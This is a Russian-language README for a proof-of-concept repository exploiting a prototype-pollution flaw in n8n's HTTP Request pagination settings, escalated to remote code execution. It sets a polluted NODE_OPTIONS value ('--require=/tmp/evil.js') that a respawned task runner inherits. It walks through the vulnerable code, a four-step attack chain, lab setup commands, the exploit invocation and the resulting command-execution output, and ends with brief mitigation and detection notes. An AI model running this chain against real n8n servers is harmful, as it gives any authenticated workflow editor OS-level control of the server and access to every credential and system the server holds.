
CVE-2026-44789 — n8n <1.123.43 Загрязнение прототипа пагинации HTTP-запроса до RCE (гаджет NODE_OPTIONS runner-spawn). Лаборатория + автоматизированный PoC, проверено e2e.
Аутентифицированный создатель рабочего процесса n8n
< 1.123.43загрязняетObject.prototypeвнутри серверного процесса n8n через настройки пагинации узла HTTP Request, а затем повышает привилегии до удаленного выполнения кода, злоупотребляя тем, как n8n запускает свой исполнитель задач — передавая загрязненныйNODE_OPTIONSв дочерний процессnodeи обходя песочницу узла Code.
| CVE | CVE-2026-44789 |
| Консультация | GHSA-c8xv-5998-g76h |
| Затронутые версии | < 1.123.43, 2.0.0-rc.0 … < 2.20.7, 2.21.0 … < 2.22.1 |
| Исправлено | 1.123.43 / 2.20.7 / 2.22.1 |
| Класс | CWE-1321 (Прототип-поллюция) → CWE-94 (RCE) |
| CVSS | 9.4 (CVSS 4.0) / Критический |
| Аутентификация | Требуется аутентификация (права на создание/изменение рабочего процесса) |
| Статус | ПОДТВЕРЖДЕНО — полная цепочка воспроизведена end-to-end на n8nio/n8n:1.123.42 |
Публичное уведомление сообщает только о том, что загрязнение «в сочетании с другими методами может привести к RCE» — оно не раскрывает гаджет. Этот репозиторий документирует и автоматизирует конкретную, проверенную цепочку от прототип-поллюции до RCE.
packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts, режим пагинации
updateAParameterInEachRequest:
paginationData.request[parameter.type]![parameterName] = parameterValue;
parameter.type, parameterName и parameterValue берутся из JSON рабочего
процесса (подконтрольны атакующему). При parameter.type = "__proto__"
paginationData.request["__proto__"] разрешается в Object.prototype, поэтому
присваивание записывает Object.prototype[parameterName] = parameterValue — глобальная
прототип-поллюция в серверном процессе n8n.
Исправление использует Object.create(null) для paginationData.request, так что
["__proto__"] становится обычным (с null-прототипом) ключом, а не прототипом.
packages/cli/src/task-runners/task-runner-process-js.ts запускает исполнитель задач JS:
return spawn('node', [...flags, startScript], { env: this.getProcessEnvVars(...) });
Node.js в normalizeSpawnArguments строит окружение дочернего процесса с помощью
for (const key in env), который перечисляет унаследованные перечисляемые свойства.
Загрязнение Object.prototype.NODE_OPTIONS = "--require=/path/evil.js" таким образом
попадает в окружение запущенного исполнителя. Дочерний процесс — это node, который
уважает NODE_OPTIONS, поэтому при запуске он --require-ит файл атакующего →
выполнение кода вне песочницы узла Code, от имени пользователя службы n8n.
Исполнитель запускается при старте, но его жизненный цикл перезапускает его при каждом
завершении процесса (onProcessExit → start()). Атакующий вынуждает перезапуск после
загрязнения, зависая исполнителя с помощью узла Code (тайм-аут задачи или OOM убивают его).
exploit.py)1. записать /tmp/evil.js через узлы Set → Convert to File → Read/Write Files
2. завесить исполнитель задач через узел Code ( while(true){} ) [ДО загрязнения]
3. загрязнить Object.prototype.NODE_OPTIONS через узел HTTP Request ( type="__proto__" )
4. зависший исполнитель по тайм-ауту → основной процесс перезапускает 'node' → наследует NODE_OPTIONS
→ require('/tmp/evil.js') → RCE
Порядок важен: загрязнение делает NODE_OPTIONS перечисляемым собственным ключом на
Object.prototype, что приводит к ошибкам в слое TypeORM n8n (for…in по сущностям),
нарушая сохранение рабочего процесса. Поэтому исполнитель должен быть уже зависшим до
загрязнения; перезапуск затем подхватывает загрязненное окружение.
Область конфигурации (прочитайте сначала). Примитив прототип-поллюции срабатывает в любой затронутой версии без изменений конфигурации. Гаджет RCE требует исполнитель задач, который достигается по-разному в зависимости от ветки:
- n8n 2.x затронутые (2.0.0–2.20.6, 2.21.0–2.22.0): исполнители задач включены по умолчанию/обязательны (
N8N_RUNNERS_ENABLEDустарел →SAFE_TO_REMOVE), так что полная цепочка RCE — это конфигурация по умолчанию.- n8n 1.123.x затронутые (этот лабораторный образ): исполнители задач по умолчанию выключены, поэтому в лаборатории устанавливается
N8N_RUNNERS_ENABLED=trueдля имитации настроек 2.x по умолчанию.N8N_RUNNERS_TASK_TIMEOUTустановлен низким только для ускорения перезапуска зависшего исполнителя — он не требуется для ошибки.
docker compose -f lab/docker-compose.yml up -d # n8nio/n8n:1.123.42, исполнители включены для имитации 2.x
python3 exploit.py http://127.0.0.1:5678 -c "id; hostname"
# вывод команды появляется на хосте n8n:
docker compose -f lab/docker-compose.yml exec n8n cat /tmp/n8n_rce_proof
# RCE uid=1000(node) gid=1000(node) groups=1000(node)
# <hostname>
exploit.py использует только стандартную библиотеку Python и управляет REST API n8n
end-to-end (установка владельца/вход → развертывание рабочих процессов → запуск цепочки).
Наблюдаемый вывод:
[*] step 1: wrote --require payload to /tmp/evil.js (via Read/Write Files node)
[*] step 2: dispatched a hanging task -> runner is now busy
[*] step 3: polluted Object.prototype.NODE_OPTIONS = --require=/tmp/evil.js
[*] waiting for the hung runner to time out, be respawned, and inherit NODE_OPTIONS ...
RCE uid=1000(node) gid=1000(node) groups=1000(node),1000(node)
uid=1000(node) — это учетная запись службы исполнителя, а вывод — живое состояние
id/uname — реальное выполнение, а не эхо ввода.
Любой аутентифицированный пользователь, который может создавать или изменять рабочий процесс, получает выполнение команд ОС на хосте n8n, обходя песочницу Code-узла — полная компрометация сервера автоматизации и всех учетных данных/систем, к которым он имеет доступ.
Object.create(null), что предотвращает запись через __proto__).--disable-proto=delete /
--disallow-code-generation-from-strings, но они защищают исполнителя, а не
основной процесс, где происходит загрязнение.Отмечайте рабочие процессы, в параметрах пагинации HTTP Request которых используются
значения type равные __proto__ / constructor / prototype, а также появление
NODE_OPTIONS в виде ошибки свойства сущности в логах n8n/TypeORM.
См. ANALYSIS.md для примитива, поведения окружения Node for…in,
жизненного цикла исполнителя и патча.